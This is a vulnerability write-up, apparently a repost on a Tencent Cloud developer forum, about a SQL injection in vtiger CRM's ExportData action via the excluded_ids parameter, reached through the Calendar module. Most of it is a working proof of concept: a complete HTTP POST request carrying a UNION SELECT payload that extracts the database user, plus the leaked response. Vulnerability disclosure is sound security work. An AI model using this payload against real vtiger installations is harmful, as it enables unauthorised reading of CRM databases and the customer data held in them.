We can get the source code from https://www.vtiger.com/open-source-crm/download-open-source/
modules/Vtiger/actions/ExportData.php , ExportData function , $db->pquery to execute the sql.
$query = $this->getExportQuery($request);
$result = $db->pquery($query, array());
follow the getExportQuery function, line 200,
$query .= ' AND '.$baseTable.'.'.$baseTableColumnId.' NOT IN ('.implode(',',$request->get('excluded_ids')).')';
we can control the $request->get('excluded_ids')) variable to sql injecttion.
modules/Calendar/actions/ExportData.php, the function ExportData.
public function ExportData(Vtiger_Request $request) {
$this->moduleCall = true;
if ($request->get('type') == 'csv') {
parent::ExportData($request);
return;
}
call the parent's function ExportData to trigger the sql injection.
poc:
POST http://localhost/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 565
Referer: http://localhost/index.php?module=Calendar&view=List
Cookie: PHPSESSID=3us5esfl1trl1l2fvca8qr6nt0
Connection: close
Upgrade-Insecure-Requests: 1
__vtrftk=sid%3A4396fb92c83fa09039b33490416bd5d2f259ec33%2C1586430021&module=Calendar&source_module=Calendar&action=ExportData&viewname=11119&selected_ids=&excluded_ids=&page=1&search_key=&operator=&search_value=&search_params=%5B%5D&orderby=&sortorder=&tag_params=%5B%5D&type=csv&mode=ExportSelectedRecords&excluded_ids[0]=1) union select '123','1','2020-04-09','10:17:00','10:22:00',DATE('2020-04-09'),'2020-04-01','10:17:00','','Planned','Planned','Planned2','Planned','','0','2020-04-09 10:17:06','2020-04-09 10:17:06','Call','Public','','0','1',user(),'','2'%23
reponse
"123","admin","04-09-2020 03:22:00","03:22:00","03:17:00","04-01-2020 03:17:00","","Planned","","0","04-09-2020 03:17:06","04-09-2020 03:17:06","Call","Public","","0","admin","root@10.16.100.69","",""
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。